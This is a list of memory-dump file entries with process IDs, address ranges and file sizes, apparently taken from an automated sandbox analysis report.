-
memory/696-67-0x0000000000000000-mapping.dmp
-
memory/764-83-0x0000000000000000-mapping.dmp
-
memory/776-101-0x0000000000000000-mapping.dmp
-
memory/776-140-0x0000000000000000-mapping.dmp
-
memory/784-87-0x0000000000000000-mapping.dmp
-
memory/828-66-0x0000000000000000-mapping.dmp
-
memory/832-80-0x0000000000000000-mapping.dmp
-
memory/856-61-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/856-62-0x000000001B700000-0x000000001B9FF000-memory.dmpFilesize
3.0MB
-
memory/856-60-0x000007FEEC700000-0x000007FEED25D000-memory.dmpFilesize
11.4MB
-
memory/856-121-0x0000000000000000-mapping.dmp
-
memory/856-57-0x0000000000000000-mapping.dmp
-
memory/856-63-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/856-59-0x000007FEED260000-0x000007FEEDC83000-memory.dmpFilesize
10.1MB
-
memory/856-64-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/856-65-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/964-104-0x0000000000000000-mapping.dmp
-
memory/968-82-0x0000000000000000-mapping.dmp
-
memory/972-123-0x0000000000000000-mapping.dmp
-
memory/984-103-0x0000000000000000-mapping.dmp
-
memory/988-141-0x0000000000000000-mapping.dmp
-
memory/988-69-0x0000000000000000-mapping.dmp
-
memory/992-73-0x0000000000000000-mapping.dmp
-
memory/1000-137-0x0000000000000000-mapping.dmp
-
memory/1012-70-0x0000000000000000-mapping.dmp
-
memory/1052-131-0x0000000000000000-mapping.dmp
-
memory/1064-125-0x0000000000000000-mapping.dmp
-
memory/1096-133-0x0000000000000000-mapping.dmp
-
memory/1100-99-0x0000000000000000-mapping.dmp
-
memory/1120-127-0x0000000000000000-mapping.dmp
-
memory/1124-143-0x0000000000590000-0x000000000059A000-memory.dmpFilesize
40KB
-
memory/1124-94-0x000000013FC00000-0x000000013FE34000-memory.dmpFilesize
2.2MB
-
memory/1124-91-0x0000000000000000-mapping.dmp
-
memory/1124-147-0x0000000180000000-0x000000018001D000-memory.dmpFilesize
116KB
-
memory/1176-128-0x0000000000000000-mapping.dmp
-
memory/1244-76-0x0000000000000000-mapping.dmp
-
memory/1276-72-0x0000000000000000-mapping.dmp
-
memory/1332-116-0x0000000000000000-mapping.dmp
-
memory/1336-126-0x0000000000000000-mapping.dmp
-
memory/1348-138-0x0000000000000000-mapping.dmp
-
memory/1372-146-0x0000000000080000-0x0000000000086000-memory.dmpFilesize
24KB
-
memory/1372-144-0x00000000000B0000-0x00000000000C1000-memory.dmpFilesize
68KB
-
memory/1372-145-0x0000000001D90000-0x0000000001DA2000-memory.dmpFilesize
72KB
-
memory/1416-115-0x00000000025DB000-0x00000000025FA000-memory.dmpFilesize
124KB
-
memory/1416-107-0x0000000000000000-mapping.dmp
-
memory/1416-114-0x00000000025D4000-0x00000000025D7000-memory.dmpFilesize
12KB
-
memory/1416-113-0x000000001B770000-0x000000001BA6F000-memory.dmpFilesize
3.0MB
-
memory/1416-111-0x000007FEEC250000-0x000007FEECDAD000-memory.dmpFilesize
11.4MB
-
memory/1416-112-0x00000000025D4000-0x00000000025D7000-memory.dmpFilesize
12KB
-
memory/1508-78-0x0000000000000000-mapping.dmp
-
memory/1544-100-0x0000000000000000-mapping.dmp
-
memory/1560-134-0x0000000000000000-mapping.dmp
-
memory/1564-71-0x0000000000000000-mapping.dmp
-
memory/1564-105-0x0000000000000000-mapping.dmp
-
memory/1580-97-0x0000000000000000-mapping.dmp
-
memory/1596-95-0x0000000000000000-mapping.dmp
-
memory/1624-136-0x0000000000000000-mapping.dmp
-
memory/1636-135-0x0000000000000000-mapping.dmp
-
memory/1644-89-0x0000000000000000-mapping.dmp
-
memory/1644-129-0x0000000000000000-mapping.dmp
-
memory/1648-122-0x0000000000000000-mapping.dmp
-
memory/1656-81-0x0000000000000000-mapping.dmp
-
memory/1668-98-0x0000000000000000-mapping.dmp
-
memory/1684-85-0x0000000000000000-mapping.dmp
-
memory/1720-132-0x0000000000000000-mapping.dmp
-
memory/1724-96-0x0000000000000000-mapping.dmp
-
memory/1744-120-0x0000000000000000-mapping.dmp
-
memory/1772-142-0x0000000000000000-mapping.dmp
-
memory/1872-68-0x0000000000000000-mapping.dmp
-
memory/1892-130-0x0000000000000000-mapping.dmp
-
memory/1980-75-0x0000000000000000-mapping.dmp
-
memory/1984-74-0x0000000000000000-mapping.dmp
-
memory/2000-79-0x0000000000000000-mapping.dmp
-
memory/2044-86-0x0000000000000000-mapping.dmp